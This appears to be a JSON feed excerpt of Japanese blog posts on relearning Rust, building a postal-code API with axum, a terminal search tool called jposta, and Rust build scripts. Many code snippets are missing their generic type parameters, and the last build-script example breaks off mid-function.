Editionに対応し、非同期プログラミングやトレイト、ジェネリクス、マクロなど、モダンなRustの重要な機能が大幅に加筆されました。特に、パフォーマンスとメモリ安全性を両立させるためのRustの機能を、システムプログラマの視点から解説している点が特徴です。再三にはなるが2024 Rdition がリリースされる。それに合わせて再び書籍が出されるのが楽しみである。3年毎にリリースがあるのは早すぎず遅すぎずちょうど嬉しい。これまでと違う学び方をしたら挫折せずにRustを学べた話 / Programming Rust techramen24conf LTでも紹介されているように、本書は体系的な学習を可能にする構成と、実践的な例示の豊富さが特徴です。特に、Rustの概念モデルを丁寧に解説している点は、言語仕様の深い理解につながります。再入門時の体系的な知識のアップデートに最適な一冊といえるでしょう。 speakerdeck.comまた、日本語の書籍も出ているので感謝すべきである。プログラミングRust 第2版作者:Jim Blandy,Jason Orendorff,Leonora F. S. TindallオライリージャパンAmazonバックエンドエンジニアを目指す人のためのRust翔泳社から出版されているこの入門書は、実践的なプロジェクトを通じてRustを学ぶアプローチを採用しています。計算クイズからTODOアプリまで、段階的に難易度を上げながら、バックエンドエンジニアに必要な技術要素をカバーしている点が特徴です。バックエンドエンジニアを目指す人のためのRust作者:安東 一慈,大西 諒,徳永 裕介,中村 謙弘,山中 雄大翔泳社Amazon本書の優れている点は、各プロジェクトを通じて特定のRustの概念を深く掘り下げる構成にあります。例えば、ポーカーゲームの実装を通じてデータ構造の理解を深め、家計簿プログラムでファイルI/Oを学び、画像処理ツールで並列処理を実践的に理解できます。また、Cargoによるパッケージ管理、ユニットテスト、リンター、フォーマッターといった実務で重要となる開発ツールの活用方法も丁寧に解説されています。特筆すべきは、エラーハンドリングやOption/Result型の扱いなど、Rustの特徴的な機能を実際のユースケースに即して学べる点です。さらに、Webアプリケーション開発からデプロイメントまでをカバーしており、現代のバックエンド開発の実践的なスキルが身につく構成となっています。ただし、この本はプログラミング言語としてのRustの入門書として優れているものの、プログラミング未経験者にはRust自体の学習難度が高いため、他の言語での開発経験がある方に特にお勧めします。体系的な構成と実践的なプロジェクトを通じた学習アプローチは、技術書の模範となる一冊といえるでしょう。www.estie.jpコミュニティと情報源Rustの再入門において、コミュニティへの参加は技術的な成長と最新動向の把握に重要な役割を果たしています。日本のRustコミュニティは活発な技術交流が行われています。Rust.TokyoRust.Tokyoは日本最大のRustカンファレンスで、年に一度開催される重要なイベントです。私は再入門直後にこのカンファレンスに参加することになり、登壇資料の準備に追われる事態となりましたが、結果的に学習のよい動機付けとなりました。カンファレンスでは、企業での採用事例や実装のベストプラクティス、パフォーマンスチューニングの知見など、実践的な内容が数多く共有されます。また、国内外のRustコミュニティのメンバーとの交流を通じて、最新のトレンドやツール、開発手法について直接学ぶ機会も得られます。Rust-jp ZulipRust-jp Zulipは、日本のRustコミュニティの中心的なコミュニケーション基盤です。SlackやDiscordと異なり、トピックベースの会話構造を持つZulipを採用することで、過去の議論や質問への回答を効率的に検索できる点が特徴です。このプラットフォームでは、初心者向けの基本的な質問から、高度な実装の相談まで、幅広いディスカッションが日本語で行われています。特に、実務での問題解決やコードレビュー、アーキテクチャの相談など、実践的な議論が活発に行われており、再入門者にとって貴重な学習リソースとなっています。学びの記録2017年の実践パケット解析の実装Webフレームワーク検証Rust関連記事一覧2024 年やったことRustでterraform plan/apply のターゲット指定を簡単にするツールを作ってみた - tfocusの仕組みと使い方退屈なことはRust Build Scripts にやらせようRustで郵便番号・住所検索TUIツールを開発した - jpostaRustによる郵便番号検索API (yubin_api) の技術解説tfocusexpjpostcode_rsおわりに2017年の経験は、今となっては貴重な財産です。言語に入門し、一度は挫折を経験しながらもプロダクトへの導入に挑戦したこと、そして結果的に撤退を選択せざるを得なかったことは、私にとって大きな学びとなりました。この貴重な経験と適切な判断へと導いてくれた当時のメンターには感謝しています。パッケージ管理の困難さ、破壊的変更への対応、そして継続的な開発の課題 - これらの経験があったからこそ、現在のRustエコシステムの進化をより深く理解できています。Rustは単なるプログラミング言語の進化を超えて、エコシステム全体として大きく成長しました。特に、かつて私が直面した課題の多くが、コミュニティの成熟とツールチェーンの進化によって解決されつつあります。実践的なユースケースの蓄積は、次世代のシステム開発における新たな可能性を示唆しています。Rust 2024エディションのリリースを控え、言語とエコシステムはさらなる進化を遂げようとしています。SREとしても、このような発展を続けるRustの動向を把握し、実践的な知識を蓄積していくことは、将来への重要な投資になると確信しています。この記事を読んでいる方々も、ぜひこの成長と進化の過程に参加してみませんか?初めての方も、かつて離れた方も、今こそRustと再会するベストなタイミングかもしれません。","isoDate":"2024-12-11T16:39:50.000Z","dateMiliSeconds":1733935190000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rustによる郵便番号検索API (yubin_api) の技術解説","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/04/233641","contentSnippet":"こちらの記事は Rust Advent Calendar 2024 シリーズ 3 7日目の記事です!qiita.comはじめにRustを使用したWebアプリケーション開発は、高いパフォーマンスと堅牢性を両立させる方法として注目を集めています。本記事では、日本の郵便番号システムにアクセスするRESTful API「yubin_api」の実装を通じて、Rustの実践的な開発手法を解説します。workspace_2024/yubin_api at main · nwiizo/workspace_2024 · GitHubこのプロジェクトでは、axumを使用したWebサーバーの構築、非同期プログラミング(async/await)、構造化されたエラーハンドリングを実装しています。また、プロダクション環境を想定したメトリクス収集とモニタリング、型安全なAPIデザインにも焦点を当てています。ちなみに元ライブラリーの実装についてはsyumai さんの実装を全面的に参考にさせていただいております。blog.syum.ai1. プロジェクトの構成まず、Cargo.tomlの依存関係から見ていきましょう:[dependencies]# Webフレームワーク関連axum = { version = \"0.7\", features = [\"macros\"] } # Webフレームワークtokio = { version = \"1.0\", features = [\"full\"] } # 非同期ランタイムtower = { version = \"0.4\", features = [\"full\"] } # HTTPサービス抽象化tower-http = { version = \"0.5\", features = [\"cors\", \"trace\", \"limit\", \"request-id\"] }# ロギングと監視tracing = \"0.1\" # ログ出力tracing-subscriber = \"0.3\" # ログ設定metrics = \"0.21\" # メトリクス収集metrics-exporter-prometheus = \"0.12\" # Prometheus形式出力# シリアライズ/デシリアライズserde = { version = \"1.0\", features = [\"derive\"] }serde_json = \"1.0\"# ユーティリティthiserror = \"1.0\" # エラー定義uuid = { version = \"1.0\", features = [\"v4\"] } # ユニークID生成utoipa = { version = \"4.1\", features = [\"uuid\"] } # OpenAPI生成# 郵便番号データベースjpostcode_rs = \"0.1.3\"2. エラー処理の実装(error.rs)エラー処理は、APIの信頼性を確保する重要な部分です:use axum::{ http::StatusCode, response::{IntoResponse, Response}, Json,};use thiserror::Error;use tracing::warn;// APIのエラー型を定義#[derive(Debug, Error)]pub enum ApiError { #[error(\"Invalid postal code format\")] InvalidPostalCode, #[error(\"Address not found\")] NotFound, #[error(\"Internal server error: {0}\")] Internal(String),}// エラーをHTTPレスポンスに変換する実装impl IntoResponse for ApiError { fn into_response(self) -> Response { // エラーの種類に応じてステータスコードを設定 let (status, error_message) = match self { ApiError::InvalidPostalCode => (StatusCode::BAD_REQUEST, self.to_string()), ApiError::NotFound => (StatusCode::NOT_FOUND, self.to_string()), ApiError::Internal(ref e) => { // 内部エラーはログに記録 warn!(\"Internal server error: {}\", e); ( StatusCode::INTERNAL_SERVER_ERROR, \"Internal server error\".to_string(), ) } }; // JSONレスポンスの構築 let body = Json(serde_json::json!({ \"error\": error_message, \"status\": status.as_u16(), // エラー追跡用のユニークID \"request_id\": uuid::Uuid::new_v4().to_string() })); (status, body).into_response() }}3. データモデルの定義(models.rs)APIで使用するデータ構造を定義します:use serde::{Deserialize, Serialize};// 住所情報のレスポンス構造体#[derive(Debug, Serialize, Deserialize, utoipa::ToSchema)]pub struct AddressResponse { pub postal_code: String, pub prefecture: String, pub prefecture_kana: String, pub prefecture_code: i32, pub city: String, pub city_kana: String, pub town: String, pub town_kana: String, pub street: Option, pub office_name: Option, pub office_name_kana: Option,}// jpostcode_rsのAddress型からの変換を実装impl From for AddressResponse { fn from(addr: jpostcode_rs::Address) -> Self { AddressResponse { postal_code: addr.postcode, prefecture: addr.prefecture, prefecture_kana: addr.prefecture_kana, prefecture_code: addr.prefecture_code, city: addr.city, city_kana: addr.city_kana, town: addr.town, town_kana: addr.town_kana, street: addr.street, office_name: addr.office_name, office_name_kana: addr.office_name_kana, } }}// 住所検索用のクエリ構造体#[derive(Debug, Deserialize, utoipa::ToSchema)]pub struct AddressQuery { pub query: String, #[serde(default = \"default_limit\")] pub limit: usize,}// デフォルトの検索結果制限数fn default_limit() -> usize { 10}4. メトリクス収集の設定(metrics.rs)アプリケーションのパフォーマンスを監視するためのメトリクス設定:use metrics::{describe_counter, describe_histogram, register_counter, register_histogram};use metrics_exporter_prometheus::PrometheusBuilder;pub fn setup_metrics() { // リクエスト数のカウンター describe_counter!( \"yubin_api_postal_lookups_total\", \"Total number of postal code lookups\" ); describe_counter!( \"yubin_api_address_searches_total\", \"Total number of address searches\" ); // レスポンス時間のヒストグラム describe_histogram!( \"yubin_api_postal_lookup_duration_seconds\", \"Duration of postal code lookups in seconds\" ); describe_histogram!( \"yubin_api_address_search_duration_seconds\", \"Duration of address searches in seconds\" ); // メトリクスの登録 register_counter!(\"yubin_api_postal_lookups_total\"); register_counter!(\"yubin_api_address_searches_total\"); register_histogram!(\"yubin_api_postal_lookup_duration_seconds\"); register_histogram!(\"yubin_api_address_search_duration_seconds\"); // Prometheusレコーダーの設定 PrometheusBuilder::new() .install() .expect(\"Failed to install Prometheus recorder\");}Rustの知っておいたほうがいいポイント解説(前編)属性マクロの使用#[derive(...)]: 自動実装の導入#[error(...)]: エラーメッセージの定義#[serde(...)]: シリアライズ設定トレイトの実装From: 型変換の実装IntoResponse: HTTPレスポンスへの変換Error: カスタムエラー型の定義ジェネリクスとライフタイムOption: 省略可能な値の表現Result: エラーハンドリングVec: 可変長配列の使用型システムの活用カスタム構造体の定義列挙型によるエラー表現デフォルト値の実装Rust初学者のためのyubin_api実装解説 - 後編5. APIルートの実装(routes.rs)APIの実際のエンドポイントを実装します:use axum::{extract::Path, http::StatusCode, response::IntoResponse, Json};use metrics::{counter, histogram};use tracing::info;// ヘルスチェックエンドポイントpub async fn health_check() -> impl IntoResponse { StatusCode::OK}// 郵便番号検索エンドポイントpub async fn lookup_by_postal_code( Path(code): Path, // URLパスからパラメータを取得) -> Result>, ApiError> { // リクエストのログ記録 info!(\"Looking up postal code: {}\", code); // メトリクスのカウントアップ counter!(\"yubin_api_postal_lookups_total\", 1); // 処理時間の計測開始 let start = std::time::Instant::now(); // 郵便番号検索の実行 let result = jpostcode_rs::lookup_address(&code).map_err(|e| match e { jpostcode_rs::JPostError::InvalidFormat => ApiError::InvalidPostalCode, jpostcode_rs::JPostError::NotFound => ApiError::NotFound, })?; // 処理時間の計測と記録 let duration = start.elapsed().as_secs_f64(); histogram!(\"yubin_api_postal_lookup_duration_seconds\", duration); // 結果の返却 Ok(Json(result.into_iter().map(Into::into).collect()))}// 住所検索エンドポイントpub async fn search_by_address( Json(query): Json, // リクエストボディからのJSONパース) -> Result>, ApiError> { info!(\"Searching address with query: {}\", query.query); // 入力値の検証 if query.query.trim().is_empty() { return Err(ApiError::InvalidPostalCode); } counter!(\"yubin_api_address_searches_total\", 1); let start = std::time::Instant::now(); // 住所検索の実行 let mut results: Vec = jpostcode_rs::search_by_address(&query.query) .into_iter() .map(Into::into) .collect(); // 結果数の制限適用 results.truncate(query.limit); let duration = start.elapsed().as_secs_f64(); histogram!(\"yubin_api_address_search_duration_seconds\", duration); Ok(Json(results))}6. メインアプリケーションの実装(main.rs)アプリケーションのエントリーポイントとサーバーの設定:use axum::{routing::{get, post}, Router};use std::net::SocketAddr;use tower::ServiceBuilder;use tower_http::{ cors::{Any, CorsLayer}, trace::{DefaultMakeSpan, DefaultOnResponse, TraceLayer},};use tracing::info;#[tokio::main]async fn main() { // ロギングの初期化 tracing_subscriber::fmt() .with_env_filter( tracing_subscriber::EnvFilter::try_from_default_env() .unwrap_or_else(|_| \"yubin_api=debug,tower_http=debug\".into()), ) .init(); // メトリクス収集の初期化 setup_metrics(); // リクエストトレース設定 let trace_layer = TraceLayer::new_for_http() .make_span_with(DefaultMakeSpan::new().include_headers(true)) .on_response(DefaultOnResponse::new().include_headers(true)); // CORS設定 let cors = CorsLayer::new() .allow_methods(Any) .allow_headers(Any) .allow_origin(Any); // ルーターの設定 let app = Router::new() .route(\"/health\", get(health_check)) .route(\"/postal/:code\", get(lookup_by_postal_code)) .route(\"/address/search\", post(search_by_address)) .layer(ServiceBuilder::new() .layer(trace_layer) .layer(cors)); // サーバーアドレスの設定 let addr = SocketAddr::from(([127, 0, 0, 1], 3000)); info!(\"Server listening on {}\", addr); // サーバーの起動 let listener = tokio::net::TcpListener::bind(addr).await.unwrap(); axum::serve(listener, app).await.unwrap();}7. 重要な実装パターンの解説非同期処理// 非同期関数の定義pub async fn lookup_by_postal_code(...) -> Result<...> { // 非同期処理の実行 let result = jpostcode_rs::lookup_address(&code)?; // ...}// 非同期ランタイムの設定#[tokio::main]async fn main() { // ...}エラーハンドリング// Result型を使用したエラー処理let result = jpostcode_rs::lookup_address(&code).map_err(|e| match e { JPostError::InvalidFormat => ApiError::InvalidPostalCode, JPostError::NotFound => ApiError::NotFound,})?;ミドルウェアの構成let app = Router::new() .route(...) .layer(ServiceBuilder::new() .layer(trace_layer) .layer(cors));8. API使用例郵便番号による検索curl http://localhost:3000/postal/1000001レスポンス例:[ { \"postal_code\": \"1000001\", \"prefecture\": \"東京都\", \"city\": \"千代田区\", \"town\": \"千代田\", ... }]住所による検索curl -X POST http://localhost:3000/address/search \\ -H \"Content-Type: application/json\" \\ -d '{\"query\": \"東京都千代田区\", \"limit\": 10}'9. Rustの知っておいたほうがいいポイント解説(後編)非同期プログラミングasync/awaitの使用方法tokioランタイムの理解非同期関数の定義と呼び出しエラーハンドリングパターンResult型の活用エラー変換のベストプラクティスエラーの伝播(?演算子)HTTPサーバーの実装ルーティング設定ミドルウェアの活用リクエスト/レスポンスの処理テスト可能な設計モジュール分割依存性の分離エラー処理の一貫性おわりにyubin_apiの実装を通じて、Rustによる実践的なWeb API開発の全体像を見てきました。このプロジェクトでは、カスタムエラー型の定義や型安全なデータ変換、トレイトの実装といった堅牢な型システムの活用を行いました。また、tokioによる非同期ランタイムやasync/awaitの効果的な使用、エラーハンドリングとの統合などの非同期プログラミングの実践も重要な要素となっています。さらに、メトリクス収集や構造化ログ、エラートラッキングといった運用面の考慮など、重要な概念と技術を学ぶことができました。このプロジェクトは、単なる郵便番号検索APIの実装を超えて、Rustの実践的な使用方法と、プロダクション品質のWebサービス開発の基本を学ぶ良い例となっています。","isoDate":"2024-12-04T14:36:41.000Z","dateMiliSeconds":1733323001000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rustで郵便番号・住所検索TUIツールを開発した - jposta","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/03/230030","contentSnippet":"こちらの記事は Rust Advent Calendar 2024 シリーズ 3 5日目の記事です!qiita.comはじめにこんにちは!jposta を紹介させてください。jpostaは、日本の郵便番号・住所をターミナルから手軽に検索できるTUIツール 🔍 です。Rustで書かれており ⚡、使いやすさを重視してリアルタイム検索を実装しました 🖥️。jposta の動作イメージ元ライブラリーの実装についてはsyumai さんの実装を全面的に参考にさせていただいております。美しい実装すぎて震えました。blog.syum.ai機能紹介この小さなツールでは、郵便番号から住所の簡単検索 🏠 はもちろん、住所からの郵便番号検索 🔢 もラクラクできます。入力しながらサクサク表示されるリアルタイム検索 ⚡ や、キーボードだけでスイスイ操作 ⌨️ が可能で、スクロールもサクサク動き 📜、もちろん日本語もバッチリ対応 🗾 しています。ぜひGitHubをチェックしてみてください!github.comインストールcargo install --git https://github.com/nwiizo/jpostaもしくはcargo install jpostaこちら、みんなだいすきcrate.ioにちゃんとあげました。https://crates.io/crates/jposta基本操作Tab: 郵便番号/住所検索モード切替↑↓: 結果スクロールEsc: 終了検索モード郵便番号検索数字を入力すると自動で該当する住所を表示部分一致対応(\"100\"で始まる郵便番号すべて等)住所検索漢字やかなで住所を入力部分一致対応(\"渋谷\"等)Rustでの実装解説1. 基本構造の定義#[derive(Clone)]enum InputMode { Postal, // 郵便番号検索 Address, // 住所検索}struct App { input: String, results: Vec, input_mode: InputMode, scroll_state: ScrollbarState, scroll_position: u16, search_tx: mpsc::Sender, result_rx: mpsc::Receiver>,}InputModeは検索モードを表す列挙型です。Cloneトレイトを導出することで、値のコピーが可能になります。App構造体はアプリケーションの状態を管理します。input: 現在の入力文字列results: 検索結果の配列input_mode: 現在の検索モードscroll_stateとscroll_position: スクロール状態の管理search_txとresult_rx: スレッド間通信用のチャンネル2. アプリケーションの初期化impl App { fn new() -> App { let (search_tx, search_rx) = mpsc::channel::(); let (result_tx, result_rx) = mpsc::channel(); thread::spawn(move || { let mut last_query = String::new(); let mut input_mode = InputMode::Postal; while let Ok(query) = search_rx.recv() { // 検索処理(後述) } }); App { input: String::new(), results: Vec::new(), input_mode: InputMode::Postal, scroll_state: ScrollbarState::default(), scroll_position: 0, search_tx, result_rx, } }}new()関数では、2つのチャンネルを作成(検索クエリ用と結果用)検索処理を行うワーカースレッドを起動初期状態のAppインスタンスを返す3. 検索処理の実装// 検索スレッド内の処理if query.starts_with(\"MODE_CHANGE:\") { input_mode = match &query[11..] { \"postal\" => InputMode::Postal, _ => InputMode::Address, }; continue;}if query == last_query { continue; }last_query = query.clone();if query.is_empty() { let _ = result_tx.send(Vec::new()); continue;}thread::sleep(Duration::from_millis(100));let results = match input_mode { InputMode::Postal => lookup_addresses(&query) .map(|addresses| { addresses .into_iter() .map(|addr| addr.formatted_with_kana()) .collect() }) .unwrap_or_default(), InputMode::Address => search_by_address(&query) .into_iter() .map(|addr| addr.formatted_with_kana()) .collect(),};let _ = result_tx.send(results);検索処理では、モード変更メッセージの確認と処理重複クエリのスキップ空クエリの即時処理ディバウンス処理(100ms)モードに応じた検索実行結果の送信4. UIとイベント処理fn main() -> io::Result<()> { enable_raw_mode()?; let mut stdout = stdout(); execute!(stdout, EnterAlternateScreen)?; let backend = CrosstermBackend::new(stdout); let mut terminal = Terminal::new(backend)?; let mut app = App::new(); loop { app.check_results(); terminal.draw(|f| { let chunks = Layout::default() .direction(Direction::Vertical) .constraints([ Constraint::Length(3), Constraint::Min(0) ]) .split(f.size()); // 入力欄の描画 let input_block = Block::default() .title(match app.input_mode { InputMode::Postal => \"郵便番号検索\", InputMode::Address => \"住所検索\", }) .borders(Borders::ALL); let input = Paragraph::new(app.input.as_str()) .block(input_block) .style(Style::default().fg(Color::Yellow)); f.render_widget(input, chunks[0]); // 結果表示の描画 let results_block = Block::default() .title(format!(\"検索結果 ({} 件)\", app.results.len())) .borders(Borders::ALL); let results = Paragraph::new(app.results.join(\"\\n\")) .block(results_block) .scroll((app.scroll_position, 0)); f.render_widget(results, chunks[1]); })?; // キー入力処理 if let Event::Key(key) = event::read()? { match key.code { KeyCode::Char(c) => { app.input.push(c); app.search(); } KeyCode::Backspace => { app.input.pop(); app.search(); } KeyCode::Up => app.scroll_up(), KeyCode::Down => app.scroll_down(), KeyCode::Tab => app.change_mode(match app.input_mode { InputMode::Postal => InputMode::Address, InputMode::Address => InputMode::Postal, }), KeyCode::Esc => break, _ => {} } } } // 終了処理 execute!(terminal.backend_mut(), LeaveAlternateScreen)?; disable_raw_mode()?; Ok(())}UIとイベント処理では、ターミナルの初期化メインループ検索結果の確認画面描画キー入力処理終了時のクリーンアップ5. 補助機能の実装impl App { fn search(&mut self) { let _ = self.search_tx.send(self.input.clone()); } fn check_results(&mut self) { if let Ok(new_results) = self.result_rx.try_recv() { self.results = new_results; self.scroll_position = 0; self.scroll_state = ScrollbarState::new(self.results.len()); } } fn scroll_up(&mut self) { self.scroll_position = self.scroll_position.saturating_sub(1); } fn scroll_down(&mut self) { if !self.results.is_empty() { self.scroll_position = self .scroll_position .saturating_add(1) .min((self.results.len() as u16).saturating_sub(1)); } } fn change_mode(&mut self, mode: InputMode) { self.input_mode = mode; let mode_str = match self.input_mode { InputMode::Postal => \"postal\", InputMode::Address => \"address\", }; let _ = self.search_tx.send(format!(\"MODE_CHANGE:{}\", mode_str)); self.input.clear(); self.results.clear(); }}補助機能として、1. 検索リクエストの送信2. 検索結果の確認と更新3. スクロール処理4. モード切替処理これらの機能により、スムーズな検索体験を実現しています。使用ライブラリratatui: TUI(テキストユーザーインターフェース)フレームワークcrossterm: ターミナル操作ライブラリjpostcode_rs: 郵便番号データ処理ライブラリRust学習リソース1. 基礎学習The Rust Programming Language - 公式ガイドブックRust by Example - 実例で学ぶRustRustlings - 対話型学習ツール2. 基本概念構造体(Structs)列挙型(Enums)メソッド実装3. メモリ管理所有権システム参照と借用4. 言語機能パターンマッチングクロージャ5. エラー処理と型システムエラー処理Result型境界チェック演算子さいごにこのプロジェクトは、Rustの実践的な学習と日本の住所システムへの理解を深める良い機会となりました 📚。非同期処理やTUIの実装を通じて、Rustの強力な型システムと安全性を活かしたコーディングを実践できました ⚡。ぜひ使ってみて、フィードバックをいただければ幸いです 🙏。プルリクエストも大歓迎です 🎉!ソースコード🦀GitHub - jposta","isoDate":"2024-12-03T14:00:30.000Z","dateMiliSeconds":1733234430000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"退屈なことはRust Build Scripts にやらせよう","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/03/143149","contentSnippet":"こちらの記事は Rust Advent Calendar 2024 シリーズ 3 3日目の記事です!qiita.comはじめにRustのビルドスクリプト(build.rs)は、コンパイル前のデータ処理や環境設定を自動化する強力なツールです。しかし、大いなる力には、大いなる責任が伴います。コードの生成、リソースの最適化、プラットフォーム固有の設定管理など、ビルド時の様々なタスクを効率的に処理できます。今回は、そのユースケースの1つとして、郵便番号データを処理するビルドスクリプトの実装を詳しく解説します。この例を通じて、build.rsの基本的な使い方から実践的な活用方法まで、段階的に理解を深めていきましょう。doc.rust-lang.orgはじめにユースケース:郵便番号データの処理実装の全体像実装の詳細解説1. ファイル変更の監視設定2. パスの設定3. データの処理4. 結果の出力生成したデータの利用方法1. アプリケーションでのデータ読み込み2. 検索機能の実装build.rsの主要な機能1. 環境変数の設定2. リンカ設定3. コードの生成実践的な利用シーン1. 設定ファイルの統合と生成2. プロトコル定義ファイルの生成3. アセットファイルの埋め込み4. データベースマイグレーションファイルの統合参考資料まとめユースケース:郵便番号データの処理このビルドスクリプトは、複数のJSONファイルに分散された郵便番号データを1つのファイルにマージする処理を行います。github.com実装の全体像use serde_json::Value;use std::collections::HashMap;use std::fs;use std::path::Path;use walkdir::WalkDir;fn main() { println!(\"cargo:rerun-if-changed=jpostcode-data/data/json\"); let json_dir = Path::new(\"jpostcode-data/data/json\"); let out_dir = std::env::var(\"OUT_DIR\").unwrap(); let dest_path = Path::new(&out_dir).join(\"address_data.json\"); let mut merged_data = HashMap::new(); // ... データ処理ロジック ...}実装の詳細解説1. ファイル変更の監視設定println!(\"cargo:rerun-if-changed=jpostcode-data/data/json\");この行は、指定したディレクトリ内のファイルが変更された場合にのみビルドスクリプトを再実行するように設定します。これにより、不必要なビルド時間を削減できます。2. パスの設定let json_dir = Path::new(\"jpostcode-data/data/json\");let out_dir = std::env::var(\"OUT_DIR\").unwrap();let dest_path = Path::new(&out_dir).join(\"address_data.json\");json_dir: 入力となるJSONファイルが格納されているディレクトリout_dir: Cargoが提供するビルド出力ディレクトリdest_path: 生成されるファイルの出力先3. データの処理for entry in WalkDir::new(json_dir).into_iter().filter_map(|e| e.ok()) { if entry.file_type().is_file() && entry.path().extension().map_or(false, |ext| ext == \"json\") { let content = fs::read_to_string(entry.path()).unwrap(); let file_data: HashMap = serde_json::from_str(&content).unwrap(); let prefix = entry.path().file_stem().unwrap().to_str().unwrap(); for (suffix, data) in file_data { let full_postcode = format!(\"{}{}\", prefix, suffix); merged_data.insert(full_postcode, data); } }}このコードブロックでは以下の処理を行っています。WalkDirを使用してディレクトリを再帰的に走査JSONファイルのみを対象にフィルタリング各ファイルの内容を読み込みとパースファイル名とデータを組み合わせて完全な郵便番号を生成マージされたデータに追加4. 結果の出力fs::write(dest_path, serde_json::to_string(&merged_data).unwrap()).unwrap();処理したデータを1つのJSONファイルとして出力します。生成したデータの利用方法1. アプリケーションでのデータ読み込みuse once_cell::sync::Lazy;use serde::{Deserialize, Serialize};use std::collections::HashMap;#[derive(Debug, Serialize, Deserialize)]struct Address { postcode: String, prefecture: String, city: String, // ... 他のフィールド}static ADDRESS_MAP: Lazy>> = Lazy::new(|| { let data = include_str!(concat!(env!(\"OUT_DIR\"), \"/address_data.json\")); serde_json::from_str(data).expect(\"Failed to parse address data\")});2. 検索機能の実装fn lookup_address(postal_code: &str) -> Option<&Vec
> { ADDRESS_MAP.get(postal_code)}fn search_by_prefecture(prefecture: &str) -> Vec<&Address> { ADDRESS_MAP .values() .flat_map(|addresses| addresses.iter()) .filter(|addr| addr.prefecture == prefecture) .collect()}build.rsの主要な機能1. 環境変数の設定// コンパイル時の条件設定println!(\"cargo:rustc-cfg=feature=\\\"custom_feature\\\"\");// 環境変数の設定println!(\"cargo:rustc-env=APP_VERSION=1.0.0\");2. リンカ設定// 外部ライブラリのリンクprintln!(\"cargo:rustc-link-lib=sqlite3\");println!(\"cargo:rustc-link-search=native=/usr/local/lib\");3. コードの生成// バージョン情報の生成let version_code = format!( \"pub const VERSION: &str = \\\"{}\\\";\\n\", env!(\"CARGO_PKG_VERSION\"));fs::write(\"version.rs\", version_code)?;実践的な利用シーン1. 設定ファイルの統合と生成複数の環境向けの設定ファイルを1つに統合する例:use std::collections::HashMap;use serde_json::Value;fn main() { println!(\"cargo:rerun-if-changed=config/\"); let environments = [\"development\", \"staging\", \"production\"]; let mut merged_config = HashMap::new(); for env in environments { let config_path = format!(\"config/{}.json\", env); let config_content = std::fs::read_to_string(&config_path).unwrap(); let config: Value = serde_json::from_str(&config_content).unwrap(); merged_config.insert(env, config); } let out_dir = std::env::var(\"OUT_DIR\").unwrap(); let dest_path = Path::new(&out_dir).join(\"config.rs\"); // 設定をRustのコードとして出力 let config_code = format!( \"pub static CONFIG: Lazy> = Lazy::new(|| {{ serde_json::from_str({}).unwrap() }});\", serde_json::to_string(&merged_config).unwrap() ); std::fs::write(dest_path, config_code).unwrap();}使用例:// main.rsuse once_cell::sync::Lazy;include!(concat!(env!(\"OUT_DIR\"), \"/config.rs\"));fn get_database_url(env: &str) -> String { CONFIG[env][\"database\"][\"url\"].as_str().unwrap().to_string()}2. プロトコル定義ファイルの生成Protocol Buffersの定義ファイルからRustコードを生成する例:use std::process::Command;fn main() { println!(\"cargo:rerun-if-changed=proto/\"); // protoファイルのコンパイル let status = Command::new(\"protoc\") .args(&[ \"--rust_out=src/generated\", \"--proto_path=proto\", \"service.proto\" ]) .status() .unwrap(); if !status.success() { panic!(\"Failed to compile proto files\"); } // 生成されたコードをモジュールとして登録 let mod_content = r#\" pub mod generated { include!(\"generated/service.rs\"); } \"#; std::fs::write(\"src/proto_mod.rs\", mod_content).unwrap();}使用例:// lib.rsmod proto_mod;use proto_mod::generated::{UserRequest, UserResponse};pub async fn handle_user_request(req: UserRequest) -> UserResponse { // プロトコル定義に基づいた処理}3. アセットファイルの埋め込み画像やテキストファイルをバイナリに埋め込む例:use std::collections::HashMap;use base64;fn main() { println!(\"cargo:rerun-if-changed=assets/\"); let mut assets = HashMap::new(); // 画像ファイルの埋め込み for entry in std::fs::read_dir(\"assets\").unwrap() { let entry = entry.unwrap(); let path = entry.path(); if path.extension().map_or(false, |ext| ext == \"png\" || ext == \"jpg\") { let content = std::fs::read(&path).unwrap(); let encoded = base64::encode(&content); let asset_name = path.file_name().unwrap().to_str().unwrap(); assets.insert(asset_name.to_string(), encoded); } } // アセットデータをRustコードとして出力 let out_dir = std::env::var(\"OUT_DIR\").unwrap(); let dest_path = Path::new(&out_dir).join(\"assets.rs\"); let assets_code = format!( \"pub static ASSETS: Lazy> = Lazy::new(|| {{ let mut m = HashMap::new(); {} m }});\", assets.iter().map(|(k, v)| { format!(\"m.insert(\\\"{}\\\".to_string(), \\\"{}\\\".to_string());\", k, v) }).collect::>().join(\"\\n\") ); std::fs::write(dest_path, assets_code).unwrap();}使用例:// lib.rsuse once_cell::sync::Lazy;include!(concat!(env!(\"OUT_DIR\"), \"/assets.rs\"));pub fn get_image_data(name: &str) -> Option> { ASSETS.get(name) .map(|encoded| base64::decode(encoded).unwrap())}4. データベースマイグレーションファイルの統合SQLマイグレーションファイルを1つのモジュールにまとめる例:fn main() { println!(\"cargo:rerun-if-changed=migrations/\"); let mut migrations = Vec::new(); // マイグレーションファイルの収集 for entry in std::fs::read_dir(\"migrations\").unwrap() { let entry = entry.unwrap(); let path = entry.path(); if path.extension().map_or(false, |ext| ext == \"sql\") { let version = path.file_stem().unwrap().to_str().unwrap() .split('_').next().unwrap(); let content = std::fs::read_to_string(&path).unwrap(); migrations.push((version.to_string(), content)); } } // マイグレーションをRustコードとして出力 let migrations_code = format!( \"pub static MIGRATIONS: &[(&str, &str)] = &[{}];\", migrations.iter() .map(|(ver, sql)| format!(\"(\\\"{}\\\", \\\"{}\\\")\", ver, sql.replace(\"\\\"\", \"\\\\\\\"\"))) .collect::>() .join(\",\\n\") ); let out_dir = std::env::var(\"OUT_DIR\").unwrap(); let dest_path = Path::new(&out_dir).join(\"migrations.rs\"); std::fs::write(dest_path, migrations_code).unwrap();}使用例:// database.rsinclude!(concat!(env!(\"OUT_DIR\"), \"/migrations.rs\"));pub async fn run_migrations(db: &SqlitePool) -> Result<()> { for (version, sql) in MIGRATIONS { db.execute(sql).await?; println!(\"Applied migration version {}\", version); } 